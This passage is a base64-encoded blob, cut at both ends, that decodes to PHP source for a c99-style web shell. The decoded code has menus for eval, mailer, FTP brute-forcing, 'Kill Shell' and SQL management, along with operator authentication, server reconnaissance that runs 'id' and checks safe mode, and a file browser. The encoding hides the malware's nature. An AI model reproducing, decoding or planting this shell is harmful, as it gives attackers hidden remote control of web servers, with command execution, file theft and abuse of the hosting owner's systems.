vcndhcmRcIiBhbHQ9XCJGb3J3YXJkXCI+IiwiI1wiIG9uY2xpY2s9XCJoaXN0b3J5LmdvKDEpIiksYXJyYXkoJGltZ190YWcuInVwXCIgYWx0PVwiVXBcIj4iLCRzdXJsLiJhY3Q9bHMmZD0ldXBkJnNvcnQ9JXNvcnQiKSxhcnJheSgkaW1nX3RhZy4ic2VhcmNoXCIgYWx0PVwiU2VhcmNoXCI+Iiwkc3VybC4iYWN0PXNlYXJjaCZkPSVkIiksYXJyYXkoJGltZ190YWcuImJ1ZmZlclwiIGFsdD1cIkJ1ZmZlclwiPiIsJHN1cmwuImFjdD1mc2J1ZmYmZD0lZCIpLGFycmF5KCRpbWdfdGFnLiJoZWxwXCIgYWx0PVwiQWJvdXRcIj4iLCRzdXJsLiJhY3Q9YWJvdXQiKSxhcnJheSgiLSIsIiIpLGFycmF5KCJTZWN1cml0eSIsJHN1cmwuImFjdD1zZWN1cml0eSZkPSVkIiksYXJyYXkoIlByb2Nlc3NlcyIsJHN1cmwuImFjdD1wcm9jZXNzZXMmZD0lZCIpLGFycmF5KCJNeVNRTCIsJHN1cmwuImFjdD1zcWwmZD0lZCIpLGFycmF5KCJFdmFsIiwkc3VybC4iYWN0PWV2YWwmZD0lZCIpLGFycmF5KCJFbmNvZGVyIiwkc3VybC4iYWN0PWVuY29kZXImZD0lZCIpLGFycmF5KCJNYWlsZXIiLCRzdXJsLiJhY3Q9ZnhtYWlsZXIiKSxhcnJheSgiVG9vbHoiLCRzdXJsLiJhY3Q9dG9vbHMmZD0lZCIpLGFycmF5KCJtaWx3MHJtIixtaWx3MHJtKCkpLGFycmF5KCJJbWFnZXMiLCRzdXJsLiJhY3Q9aW1nJmltZz1saXN0YWxsIiksYXJyYXkoIkZlZWRiYWNrIiwkc3VybC4iYWN0PWZlZWRiYWNrIiksYXJyYXkoIlVwZGF0ZSIsJHN1cmwuImFjdD11cGRhdGUiKSxhcnJheSgiS2lsbCBTaGVsbCIsJHN1cmwuImFjdD1zZWxmcmVtb3ZlIikpO2lmKCFpc193aW5kb3dzKCkpJHF1aWNrbGF1bmNoW109YXJyYXkoIjxicj5GVFAgQnJ1dGUiLCRzdXJsLiJhY3Q9ZnRwcXVpY2ticnV0ZSZkPSVkIik7JGZ0eXBlcz1hcnJheSgiaHRtbCI9PmFycmF5KCJodG1sIiwiaHRtIiwic2h0bWwiKSwidHh0Ij0+YXJyYXkoInR4dCIsImNvbmYiLCJiYXQiLCJzaCIsImpzIiwiYmFrIiwiZG9jIiwibG9nIiwic2ZjIiwiY2ZnIiwiaHRhY2Nlc3MiKSwiZXhlIj0+YXJyYXkoInNoIiwiaW5zdGFsbCIsImJhdCIsImNtZCIsInN5cyIsImNvbSIpLCJpbmkiPT5hcnJheSgiaW5pIiwiaW5mIiwiY29uZiIpLCJjb2RlIj0+YXJyYXkoInBocCIsInBodG1sIiwicGhwMyIsInBocDQiLCJpbmMiLCJ0Y2wiLCJoIiwiYyIsImNwcCIsInB5IiwiY2dpIiwicGwiKSwiaW1nIj0+YXJyYXkoImdpZiIsInBuZyIsImpwZWciLCJqZmlmIiwianBnIiwianBlIiwiYm1wIiwiaWNvIiwidGlmIiwidGlmZiIsImF2aSIsIm1wZyIsIm1wZWciKSwic2RiIj0+YXJyYXkoInNkYiIpLCJwaHBzZXNzIj0+YXJyYXkoInNlc3MiKSwiZG93bmxvYWQiPT5hcnJheSgiZXhlIiwiY29tIiwic3lzIiwicGlmIiwic3JjIiwibG5rIiwiemlwIiwicmFyIiwiZ3oiLCJ0YXIiLCJwZGYiKSk7JGV4ZWZ0eXBlcz1hcnJheSgicGhwIC1xICVmJSI9PmFycmF5KCJwaHAiLCJwaHAzIiwicGhwNCIpLCJwZXJsICVmJSI9PmFycmF5KCJwbCIsImNnaSIpKTskcmVneHBfaGlnaGxpZ2h0PWFycmF5KGFycmF5KGJhc2VuYW1lKCRfU0VSVkVSWyJQSFBfU0VMRiJdKSwxICwiPGZvbnQgY29sb3I9I0ZGNjYwMD4iLCI8L2ZvbnQ+IiksYXJyYXkoIlwudGd6JCIsMSAsIjxmb250IGNvbG9yPSNDMDgyRkY+IiwiPC9mb250PiIpLGFycmF5KCJcLmd6JCIsMSAsIjxmb250IGNvbG9yPSNDMDgyRkY+IiwiPC9mb250PiIpLGFycmF5KCJcLnRhciQiLDEgLCI8Zm9udCBjb2xvcj0jQzA4MkZGPiIsIjwvZm9udD4iKSxhcnJheSgiXC56aXAkIiwxICwiPGZvbnQgY29sb3I9I0MwODJGRj4iLCI8L2ZvbnQ+IiksYXJyYXkoIlwucmFyJCIsMSAsIjxmb250IGNvbG9yPSNDMDgyRkY+IiwiPC9mb250PiIpLGFycmF5KCJcLnBocCQiLDEgLCI8Zm9udCBjb2xvcj0jMDBGRjAwPiIsIjwvZm9udD4iKSxhcnJheSgiXC5qcGckIiwxICwiPGZvbnQgY29sb3I9IzAwRkZGRj4iLCI8L2ZvbnQ+IiksYXJyYXkoIlwuanBlZyQiLDEgLCI8Zm9udCBjb2xvcj0jMDBGRkZGPiIsIjwvZm9udD4iKSxhcnJheSgiXC5pY28kIiwxICwiPGZvbnQgY29sb3I9IzAwRkZGRj4iLCI8L2ZvbnQ+IiksYXJyYXkoIlwuZ2lmJCIsMSAsIjxmb250IGNvbG9yPSMwMEZGRkY+IiwiPC9mb250PiIpLGFycmF5KCJcLnBuZyQiLDEgLCI8Zm9udCBjb2xvcj0jMDBGRkZGPiIsIjwvZm9udD4iKSxhcnJheSgiXC5odG0kIiwxICwiPGZvbnQgY29sb3I9IzAwQ0NGRj4iLCI8L2ZvbnQ+IiksYXJyYXkoIlwuaHRtbCQiLDEgLCI8Zm9udCBjb2xvcj0jMDBDQ0ZGPiIsIjwvZm9udD4iKSxhcnJheSgiXC50eHQkIiwxICwiPGZvbnQgY29sb3I9I0MwQzBDMD4iLCI8L2ZvbnQ+IiksYXJyYXkoIlwucGRmJCIsMSAsIjxmb250IGNvbG9yPSNGRjk5Q0M+IiwiPC9mb250PiIpKTskaGlnaGxpZ2h0X2JnPSIjRTBFMEUwIjskaGlnaGxpZ2h0X2NvbW1lbnQ9IiNGRjY2MDAiOyRoaWdobGlnaHRfZGVmYXVsdD0iIzAwMDA4MCI7JGhpZ2hsaWdodF9odG1sPSIjMTMwMEZGIjskaGlnaGxpZ2h0X2tleXdvcmQ9IiMwMDc3MDAiOyRoaWdobGlnaHRfc3RyaW5nPSIjRkYwMDAwIjtAaW5pX3NldCgiaGlnaGxpZ2h0LmJnIiwkaGlnaGxpZ2h0X2JnKTtAaW5pX3NldCgiaGlnaGxpZ2h0LmNvbW1lbnQiLCRoaWdobGlnaHRfY29tbWVudCk7QGluaV9zZXQoImhpZ2hsaWdodC5kZWZhdWx0IiwkaGlnaGxpZ2h0X2RlZmF1bHQpO0Bpbmlfc2V0KCJoaWdobGlnaHQuaHRtbCIsJGhpZ2hsaWdodF9odG1sKTtAaW5pX3NldCgiaGlnaGxpZ2h0LmtleXdvcmQiLCRoaWdobGlnaHRfa2V5d29yZCk7QGluaV9zZXQoImhpZ2hsaWdodC5zdHJpbmciLCRoaWdobGlnaHRfc3RyaW5nKTtmb3JlYWNoKCRhdXRoWyJob3N0YWxsb3ciXSBhcyAkaz0+JHYpeyR0bXBbXT1zdHJfcmVwbGFjZSgiXFwqIiwiLioiLHByZWdfcXVvdGUoJHYpKTt9JHM9IiFeKCIuaW1wbG9kZSgifCIsJHRtcCkuIikkIWkiO2lmKCFwcmVnX21hdGNoKCRzLGdldGVudigiUkVNT1RFX0FERFIiKSkgYW5kICFwcmVnX21hdGNoKCRzLGdldGhvc3RieWFkZHIoZ2V0ZW52KCJSRU1PVEVfQUREUiIpKSkpe2V4aXQoIjxhIGhyZWY9XCIkc2hfbWFpbnVybFwiPiIuc2hfbmFtZSgpLiI8L2E+QUNDRVNTIERFTklFRCEgWW91ciBob3N0ICgiLmdldGVudigiUkVNT1RFX0FERFIiKS4iKSBub3QgYWxsb3dlZCEiKTt9aWYoIWVtcHR5KCRhdXRoWyJsb2dpbiJdKSl7aWYoZW1wdHkoJGF1dGhbIm1kNXBhc3MiXSkpJGF1dGhbIm1kNXBhc3MiXT1tZDUoJGF1dGhbInBhc3MiXSk7aWYoKCRfU0VSVkVSWyJQSFBfQVVUSF9VU0VSIl0hPSRhdXRoWyJsb2dpbiJdKSBvciAobWQ1KCRfU0VSVkVSWyJQSFBfQVVUSF9QVyJdKSE9JGF1dGhbIm1kNXBhc3MiXSkpe2hlYWRlcigiV1dXLUF1dGhlbnRpY2F0ZTogQmFzaWMgcmVhbG09XCIiLnNoX25hbWUoKS4iOiBSZXN0cmljdGVkIEFyZWFcIiIpO2hlYWRlcigiSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCIpO2RpZSgkYXV0aFsiZGVuaWVkIl0pO319aWYoIWlzc2V0KCRhY3QpKSRhY3Q9IiI7aWYoJGFjdD09ImltZyIpe0BvYl9jbGVhbigpOyRpbWFnZXM9aW1hZ2V6KCk7JGltZ2VxdWFscz1hcnJheSgiZXh0X3RhciI9PmFycmF5KCJleHRfdGFyIiwiZXh0X3IwMCIsImV4dF9hY2UiLCJleHRfYXJqIiwiZXh0X2J6IiwiZXh0X2J6MiIsImV4dF90YnoiLCJleHRfdGJ6MiIsImV4dF90Z3oiLCJleHRfdXUiLCJleHRfeHhlIiwiZXh0X3ppcCIsImV4dF9jYWIiLCJleHRfZ3oiLCJleHRfaXNvIiwiZXh0X2xoYSIsImV4dF9semgiLCJleHRfcGJrIiwiZXh0X3JhciIsImV4dF91dWYiKSwiZXh0X3BocCI9PmFycmF5KCJleHRfcGhwIiwiZXh0X3BocDMiLCJleHRfcGhwNCIsImV4dF9waHA1IiwiZXh0X3BodG1sIiwiZXh0X3NodG1sIiwiZXh0X2h0bSIpLCJleHRfY3BwIj0+YXJyYXkoImV4dF9jIiksImV4dF9qcGciPT5hcnJheSgiZXh0X2pwZyIsImV4dF9naWYiLCJleHRfcG5nIiwiZXh0X2pwZWciLCJleHRfamZpZiIsImV4dF9qcGUiLCJleHRfYm1wIiwiZXh0X2ljbyIsImV4dF90aWYiLCJ0aWZmIiksImV4dF9odG1sIj0+YXJyYXkoImV4dF9odG1sIiwiZXh0X2h0bSIpLCJleHRfYXZpIj0+YXJyYXkoImV4dF9hdmkiLCJleHRfbW92IiwiZXh0X212aSIsImV4dF9tcGciLCJleHRfbXBlZyIsImV4dF93bXYiLCJleHRfcm0iKSwiZXh0X2xuayI9PmFycmF5KCJleHRfbG5rIiwiZXh0X3VybCIpLCJleHRfaW5pIj0+YXJyYXkoImV4dF9pbmkiLCJleHRfY3NzIiwiZXh0X2luZiIsImV4dF9jb25mIiksImV4dF9kb2MiPT5hcnJheSgiZXh0X2RvYyIsImV4dF9kb3QiLCJleHRfeGxzIiwiZXh0X3BkZiIpLCJleHRfanMiPT5hcnJheSgiZXh0X2pzIiwiZXh0X3ZicyIpLCJleHRfY21kIj0+YXJyYXkoImV4dF9jbWQiLCJleHRfYmF0IiwiZXh0X3BpZiIsImV4dF9jb20iKSwiZXh0X3dyaSI9PmFycmF5KCJleHRfd3JpIiwiZXh0X3J0ZiIpLCJleHRfdHh0Ij0+YXJyYXkoImV4dF90eHQiLCJleHRfbG5nIiksImV4dF9zd2YiPT5hcnJheSgiZXh0X3N3ZiIsImV4dF9mbGEiKSwiZXh0X21wMyI9PmFycmF5KCJleHRfbXAzIiwiZXh0X2F1IiwiZXh0X21pZGkiLCJleHRfbWlkIiwiZXh0X3dhdiIpLCJleHRfaHRhY2Nlc3MiPT5hcnJheSgiZXh0X2h0YWNjZXNzIiwiZXh0X2h0cGFzc3dkIiwiZXh0X2h0IiwiZXh0X2h0YSIsImV4dF9zbyIpKTtpZigkaW1nPT0ibGlzdGFsbCIpe2ZvcmVhY2goJGltZ2VxdWFscyBhcyAkYT0+JGIpe2ZvcmVhY2goJGIgYXMgJGQpe2lmKCgkYSE9JGQpICYmICghZW1wdHkoJGltYWdlc1skZF0pKSllY2hvICgiV2FybmluZyEgUmVtb3ZlIFwkaW1hZ2VzWyIuJGQuIl08YnI+Iik7fX1uYXRzb3J0KCRpbWFnZXMpOyRrPWFycmF5X2tleXMoJGltYWdlcyk7ZWNobyAiPGJvZHkgc3R5bGU9XCJjb2xvcjogIzAwRkYwMFwiIGJnY29sb3I9YmxhY2s+Ijtmb3JlYWNoKCRrIGFzICR1KXtlY2hvICI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPSIuJHUuIlwiPiAkdSAiO31leGl0O31oZWFkZXIoIkNvbnRlbnQtdHlwZTogaW1hZ2UvZ2lmIik7aGVhZGVyKCJDYWNoZS1jb250cm9sOiBwdWJsaWMiKTtoZWFkZXIoIkV4cGlyZXM6ICIuZGF0ZSgiciIsbWt0aW1lKDAgLDAgLDAgLDEgLDEgLDIwMzAgKSkpO2hlYWRlcigiQ2FjaGUtY29udHJvbDogbWF4LWFnZT0iLig2MCAqNjAgKjI0ICo3ICkpO2hlYWRlcigiTGFzdC1Nb2RpZmllZDogIi5kYXRlKCJyIixmaWxlbXRpbWUoX19GSUxFX18pKSk7Zm9yZWFjaCgkaW1nZXF1YWxzIGFzICRrPT4kdil7aWYoaW5fYXJyYXkoJGltZywkdikpeyRpbWc9JGs7YnJlYWs7fX1pZihlbXB0eSgkaW1hZ2VzWyRpbWddKSl7JGltZz0ic21hbGxfdW5rIjt9ZWNobyBiYXNlNjRfZGVjb2RlKCRpbWFnZXNbJGltZ10pO2V4aXQ7fWVsc2UgeyRsYXN0ZGlyPXJlYWxwYXRoKCIuIik7Y2hkaXIoIi4vIik7JHNlc3NfZGF0YT1AdW5zZXJpYWxpemUoJF9DT09LSUVbJHNlc3NfY29va2llXSk7aWYoIWlzX2FycmF5KCRzZXNzX2RhdGEpKXskc2Vzc19kYXRhPWFycmF5KCk7fWlmKCFpc19hcnJheShAJHNlc3NfZGF0YVsiY29weSJdKSl7JHNlc3NfZGF0YVsiY29weSJdPWFycmF5KCk7fWlmKCFpc19hcnJheShAJHNlc3NfZGF0YVsiY3V0Il0pKXskc2Vzc19kYXRhWyJjdXQiXT1hcnJheSgpO31meDI5X2J1ZmZfcHJlcGFyZSgpO2ZvcmVhY2goYXJyYXkoInNvcnQiLCJzcWxfc29ydCIpIGFzICR2KXtpZighZW1wdHkoJF9HRVRbJHZdKSl7JCR2PSRfR0VUWyR2XTt9aWYoIWVtcHR5KCRfUE9TVFskdl0pKXskJHY9JF9QT1NUWyR2XTt9fWlmKCRzb3J0X3NhdmUpe2lmKCFlbXB0eSgkc29ydCkpe3NldGNvb2tpZSgic29ydCIsJHNvcnQpO31pZighZW1wdHkoJHNxbF9zb3J0KSl7c2V0Y29va2llKCJzcWxfc29ydCIsJHNxbF9zb3J0KTt9fWlmKCFpc3NldCgkc29ydCkpeyRzb3J0PSRzb3J0X2RlZmF1bHQ7fSRzb3J0PWh0bWxzcGVjaWFsY2hhcnMoJHNvcnQpOyRzb3J0WzEgXT1zdHJ0b2xvd2VyKCRzb3J0WzEgXSk7aWYoJGFjdD09ImdvZmlsZSIpe2lmKGlzX2RpcigkZikpeyRkPSRmOyRhY3Q9ImxzIjt9ZWxzZSB7JGQ9ZGlybmFtZSgkZik7JGY9YmFzZW5hbWUoJGYpOyRhY3Q9ImYiO319b2Jfc3RhcnQoKTtvYl9pbXBsaWNpdF9mbHVzaCgwICk7aGVhZGVyKCJFeHBpcmVzOiBNb24sIDI2IEp1bCAxOTk3IDA1OjAwOjAwIEdNVCIpO2hlYWRlcigiTGFzdC1Nb2RpZmllZDogIi5nbWRhdGUoIkQsIGQgTSBZIEg6aTpzIikuIiBHTVQiKTtoZWFkZXIoIkNhY2hlLUNvbnRyb2w6IG5vLXN0b3JlLCBuby1jYWNoZSwgbXVzdC1yZXZhbGlkYXRlIik7aGVhZGVyKCJDYWNoZS1Db250cm9sOiBwb3N0LWNoZWNrPTAsIHByZS1jaGVjaz0wIixGQUxTRSk7aGVhZGVyKCJQcmFnbWE6IG5vLWNhY2hlIik7JHRtcF9kaXI9cmVhbHBhdGgoJHRtcF9kaXIpOyR0bXBfZGlyPXN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkdG1wX2Rpcik7aWYoc3Vic3RyKCR0bXBfZGlyLC0xICkhPURJUkVDVE9SWV9TRVBBUkFUT1IpJHRtcF9kaXIuPURJUkVDVE9SWV9TRVBBUkFUT1I7aWYoIWlzX2FycmF5KEAkYWN0Ym94KSkkYWN0Ym94PWFycmF5KCk7JGRzcGFjdD0kYWN0PWh0bWxzcGVjaWFsY2hhcnMoJGFjdCk7JGRpc3BfZnVsbHBhdGg9JGxzX2Fycj0kbm90bHM9bnVsbDskdWQ9QHVybGVuY29kZSgkZCk7aWYoZW1wdHkoJGQpKSRkPXJlYWxwYXRoKCIuIik7ZWxzZWlmKHJlYWxwYXRoKCRkKSkkZD1yZWFscGF0aCgkZCk7JGQ9c3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCRkKTtpZihzdWJzdHIoJGQsLTEgKSE9RElSRUNUT1JZX1NFUEFSQVRPUikkZC49RElSRUNUT1JZX1NFUEFSQVRPUjskZD1zdHJfcmVwbGFjZSgiXFxcXCIsIlxcIiwkZCk7JGRpc3BkPWh0bWxzcGVjaWFsY2hhcnMoJGQpO2lmKHNhZmVtb2RlKCkpeyRoc2FmZW1vZGU9Jzxmb250IGNsYXNzPSJvbiI+PGI+U0FGRSBNT0RFIElTIE9OPC9iPjwvZm9udD4nOyRzYWZlbW9kZWV4ZWNkaXI9QGluaV9nZXQoInNhZmVfbW9kZV9leGVjX2RpciIpO31lbHNlIHskaHNhZmVtb2RlPSc8Zm9udCBjbGFzcz0ib2ZmIj48Yj5TQUZFIE1PREUgSVMgT0ZGPC9iPjwvZm9udD4nO30kdj1AaW5pX2dldCgib3Blbl9iYXNlZGlyIik7aWYoc3RydG9sb3dlcigkdik9PSJvbiIpeyRob3BlbmJhc2VkaXI9Jzxmb250IGNsYXNzPSJvbiI+Jy4kdi4nPC9mb250Pic7fWVsc2UgeyRob3BlbmJhc2VkaXI9Jzxmb250IGNsYXNzPSJvZmYiPk9GRiAoTm90IFNlY3VyZSk8L2ZvbnQ+Jzt9JHdkPShpc193cml0YWJsZSgkZCkpPyc8Zm9udCBjbGFzcz0ib24iPltXXTwvZm9udD4nOic8Zm9udCBjbGFzcz0ib2ZmIj5bUl08L2ZvbnQ+JztlY2hvIGh0bWxfc3R5bGUoKTsgPz4NCjwhLS0gTWFpbiBNZW51IC0tPg0KPGRpdiBpZD0ibWFpbiI+DQoNCgk8ZGl2IGNsYXNzPSJiYXJ0aXRsZSI+PD8gZWNobyBodG1sX2hlYWRlcigpID8+PC9kaXY+DQoNCgk8dGFibGUgaWQ9InBhZ2ViYXIiPg0KDQoJCTwhLS0gU2VydmVyIEluZm8gLS0+DQoJCTx0cj48dGQgY29sc3Bhbj0iMiI+DQoJCTxkaXYgY2xhc3M9ImZsZWZ0Ij48PyBlY2hvICRoc2FmZW1vZGU7ID8+PC9kaXY+DQoJCTxkaXYgY2xhc3M9ImZyaWdodCI+DQoJCQlJUCBBZGRyZXNzOiA8YSBocmVmPSJodHRwOi8vd3MuYXJpbi5uZXQvY2dpLWJpbi93aG9pcy5wbD9xdWVyeWlucHV0PTw/IGVjaG8gQGdldGhvc3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKTsgPz4iPjw/IGVjaG8gQGdldGhvc3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKTsgPz48L2E+DQoJCQlZb3U6IDxhIGhyZWY9Imh0dHA6Ly93cy5hcmluLm5ldC9jZ2ktYmluL3dob2lzLnBsP3F1ZXJ5aW5wdXQ9PD8gZWNobyAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsgPz4iPjw/IGVjaG8gJF9TRVJWRVJbIlJFTU9URV9BRERSIl07ID8+PC9hPg0KCQk8L2Rpdj4NCgkJPC90ZD48L3RyPg0KDQoJCTx0cj48dGQgd2lkdGg9IjUwJSI+DQoJCTx0YWJsZSBjbGFzcz0iaW5mbyI+DQo8PyBzcnZfaW5mbygiU29mdHdhcmUiLHNydl9zb2Z0d2FyZSgkc3VybCkpO3Nydl9pbmZvKCJVbmFtZSIscGhwX3VuYW1lKCkpO3Nydl9pbmZvKCJVc2VyIiwoaXNfd2luZG93cygpKT9nZXRfY3VycmVudF91c2VyKCkuIiAodWlkPSIuZ2V0bXl1aWQoKS4iIGdpZD0iLmdldG15Z2lkKCkuIikiOmZ4MjlleGVjKCJpZCIpKTsgPz4NCgkJPC90YWJsZT4NCgkJPC90ZD4NCgkJPHRkIHdpZHRoPSI1MCUiPg0KCQk8dGFibGUgY2xhc3M9ImluZm8iPg0KPD8gaWYoaXNfd2luZG93cygpKXtzcnZfaW5mbygiRHJpdmVzIixkaXNwX2RyaXZlcygkZCwkc3VybCkpO31zcnZfaW5mbygiRnJlZXNwYWNlIixkaXNwX2ZyZWVzcGFjZSgkZCkpOyA/Pg0KCQk8L3RhYmxlPg0KCQk8L3RkPjwvdHI+DQoNCgkJPHRyPjx0ZCBjb2xzcGFuPSIyIj4NCjw/IGVjaG8gIlx0XHRcdCIuZ2V0X3N0YXR1cygpO2VjaG8gIjxicj5cbiI7ZWNobyAoaXNzZXQoJHNhZmVtb2RlZXhlY2RpcikpPyJcblx0XHRcdFNhZmVtb2RlRXhlY0RpcjogIi4kc2FmZW1vZGVleGVjZGlyLiI8YnI+IjoiIjtlY2hvIChzaG93ZGlzZnVuYygpKT8iXHRcdFx0RGlzRnVuYzogIi5zaG93ZGlzZnVuYygpOiIiO2VjaG8gIlxuIjsgPz4NCgkJPC90ZD48L3RyPg0KCQk8IS0tIEVuZCBvZiBTZXJ2ZXIgSW5mbyAtLT4NCg0KCQk8IS0tIFF1aWNrbGF1bmNoIC0tPg0KCQk8dHI+PHRkIGNvbHNwYW49IjIiIGNsYXNzPSJxdWlja2xhdW5jaCI+DQo8PyBmb3JlYWNoKCRxdWlja2xhdW5jaCBhcyAkaXRlbSl7aWYoJGl0ZW1bMCBdPT0iLSIpe2VjaG8gIlx0XHQ8L3RkPjwvdHI+XG4iO2VjaG8gIlx0XHQ8dHI+PHRkIGNvbHNwYW49XCIyXCIgY2xhc3M9XCJxdWlja2xhdW5jaFwiPlxuIjt9ZWxzZSB7JGl0ZW1bMSBdPXN0cl9yZXBsYWNlKCIlZCIsdXJsZW5jb2RlKCRkKSwkaXRlbVsxIF0pOyRpdGVtWzEgXT1zdHJfcmVwbGFjZSgiJXNvcnQiLCRzb3J0LCRpdGVtWzEgXSk7JHY9cmVhbHBhdGgoJGQuIi4uIik7aWYoZW1wdHkoJHYpKXskYT1leHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpO3Vuc2V0KCRhW2NvdW50KCRhKS0yIF0pOyR2PWpvaW4oRElSRUNUT1JZX1NFUEFSQVRPUiwkYSk7fSRpdGVtWzEgXT1zdHJfcmVwbGFjZSgiJXVwZCIsdXJsZW5jb2RlKCR2KSwkaXRlbVsxIF0pO2VjaG8gIlx0XHRcdDxhIGhyZWY9XCIiLiRpdGVtWzEgXS4iXCI+Ii4kaXRlbVswIF0uIjwvYT5cbiI7fX0gPz4NCgkJPC90ZD48L3RyPg0KCQk8IS0tIEVuZCBvZiBRdWlja2xhdW5jaCAtLT4NCg0KCQk8IS0tIERpcmVjdG9yeSBJbmZvIC0tPg0KCQk8dHI+PHRkIGNvbHNwYW49IjIiPg0KCQk8ZGl2IGNsYXNzPSJmbGVmdCI+DQo8PyAkcGQ9JGU9ZXhwbG9kZShESVJFQ1RPUllfU0VQQVJBVE9SLHN1YnN0cigkZCwwICwtMSApKTskaT0wIDtmb3JlYWNoKCRwZCBhcyAkYil7JHQ9IiI7JGo9MCA7Zm9yZWFjaCgkZSBhcyAkcil7JHQuPSRyLkRJUkVDVE9SWV9TRVBBUkFUT1I7aWYoJGo9PSRpKXticmVhazt9JGorKzt9ZWNobyAiXHRcdFx0PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1scyZkPSIudXJsZW5jb2RlKCR0KS4iJnNvcnQ9Ii4kc29ydC4iXCI+Ii5odG1sc3BlY2lhbGNoYXJzKCRiKS5ESVJFQ1RPUllfU0VQQVJBVE9SLiI8L2E+XG4iOyRpKys7fWVjaG8gIlx0XHRcdCI7ZWNobyAoaXNfd3JpdGFibGUoJGQpKT8iPGI+Ii52aWV3X3Blcm1zX2NvbG9yKCRkKS4iPC9iPiI6IjxiPiIudmlld19wZXJtc19jb2xvcigkZCkuIjwvYj4iO2VjaG8gIlxuIjsgPz4NCgkJPC9kaXY+DQoJCTxkaXYgY2xhc3M9ImZyaWdodCI+DQoJCTxmb3JtIG5hbWU9ImZfZGlyIiBtZXRob2Q9InBvc3QiPg0KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0IiB2YWx1ZT0ibHMiPg0KCQkJRGlyZWN0b3J5OiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZCIgc2l6ZT0iNjAiIHZhbHVlPSI8PyBlY2hvICRkaXNwZDsgPz4iPiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkdvIj4NCgkJPC9mb3JtPg0KCQk8L2Rpdj4NCgkJPC90ZD48L3RyPg0KCQk8IS0tIEVuZCBvZiBEaXJlY3RvcnkgSW5mbyAtLT4NCg0KCTwvdGFibGU+DQoNCjwvZGl2Pg0KPCEtLSBFbmQgb2YgTWFpbiBNZW51IC0tPg0KDQo8IS0tIE1haW4gSW5mbyAtLT4NCjxkaXYgaWQ9Im1haW5pbmZvIj4NCg0KPD8gaWYoJGFjdD09IiIpeyRhY3Q9JGRzcGFjdD0ibHMiO31pZigkYWN0PT0ic3FsIil7JHNxbF9zdXJsPSRzdXJsLiJhY3Q9c3FsIjtpZighaXNzZXQoJHNxbF9sb2dpbikpeyRzcWxfbG9naW49IiI7fWlmKCFpc3NldCgkc3FsX3Bhc3N3ZCkpeyRzcWxfcGFzc3dkPSIiO31pZighaXNzZXQoJHNxbF9zZXJ2ZXIpKXskc3FsX3NlcnZlcj0iIjt9aWYoIWlzc2V0KCRzcWxfcG9ydCkpeyRzcWxfcG9ydD0iIjt9aWYoIWlzc2V0KCRzcWxfdGJsKSl7JHNxbF90Ymw9IiI7fWlmKCFpc3NldCgkc3FsX2FjdCkpeyRzcWxfYWN0PSIiO31pZighaXNzZXQoJHNxbF90YmxfYWN0KSl7JHNxbF90YmxfYWN0PSIiO31pZighaXNzZXQoJHNxbF9vcmRlcikpeyRzcWxfb3JkZXI9IiI7fWlmKCFpc3NldCgkc3FsX2FjdCkpeyRzcWxfYWN0PSIiO31pZighaXNzZXQoJHNxbF9nZXRmaWxlKSl7JHNxbF9nZXRmaWxlPSIiO31pZihAJHNxbF9sb2dpbil7JHNxbF9zdXJsLj0iJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7fWlmKEAkc3FsX3Bhc3N3ZCl7JHNxbF9zdXJsLj0iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKTt9aWYoQCRzcWxfc2VydmVyKXskc3FsX3N1cmwuPSImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpO31pZihAJHNxbF9wb3J0KXskc3FsX3N1cmwuPSImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7fWlmKEAkc3FsX2RiKXskc3FsX3N1cmwuPSImc3FsX2RiPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKTt9JHNxbF9zdXJsLj0iJiI7ID8+DQo8IS0tIFNRTCBNYW5hZ2VyIC0tPg0KPD8gYmFyX2hlYWRlcigiLjogU1FMIE1hbmFnZXIgKFVuZGVyIENvbnN0cnVjdGlvbikgOi4iKTsgPz4NCjxkaXYgY2xhc3M9ImJhcmhlYWRlciI+PD8gaWYoQCRzcWxfc2VydmVyKXskc3FsX3NvY2s9QG15c3FsX2Nvbm5lY3QoJHNxbF9zZXJ2ZXIuIjoiLiRzcWxfcG9ydCwkc3FsX2xvZ2luLCRzcWxfcGFzc3dkKTskZXJyPW15c3FsX3NtYXJ0ZXJyb3IoJHNxbF9zb2NrKTtAbXlzcWxfc2VsZWN0X2RiKCRzcWxfZGIsJHNxbF9zb2NrKTtpZihAJHNxbF9xdWVyeSBhbmQgJHN1Ym1pdCl7JHNxbF9xdWVyeV9yZXN1bHQ9bXlzcWxfcXVlcnkoJHNxbF9xdWVyeSwkc3FsX3NvY2spOyRzcWxfcXVlcnlfZXJyb3I9bXlzcWxfc21hcnRlcnJvcigkc3FsX3NvY2spO319ZWxzZSB7JHNxbF9zb2NrPUZBTFNFO31pZighJHNxbF9zb2NrKXtpZighQCRzcWxfc2VydmVyKXtlY2hvICJObyBDb25uZWN0aW9uISI7fWVsc2Uge2Rpc3BfZXJyb3IoIkVSUk9SOiAiLiRlcnIpO319ZWxzZSB7JHNxbHF1aWNrbGF1bmNoPWFycmF5KCk7JHNxbHF1aWNrbGF1bmNoW109YXJyYXkoIkluZGV4Iiwkc3VybC4iYWN0PXNxbCZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiImc3FsX3NlcnZlcj0iLmh0bWxzcGVja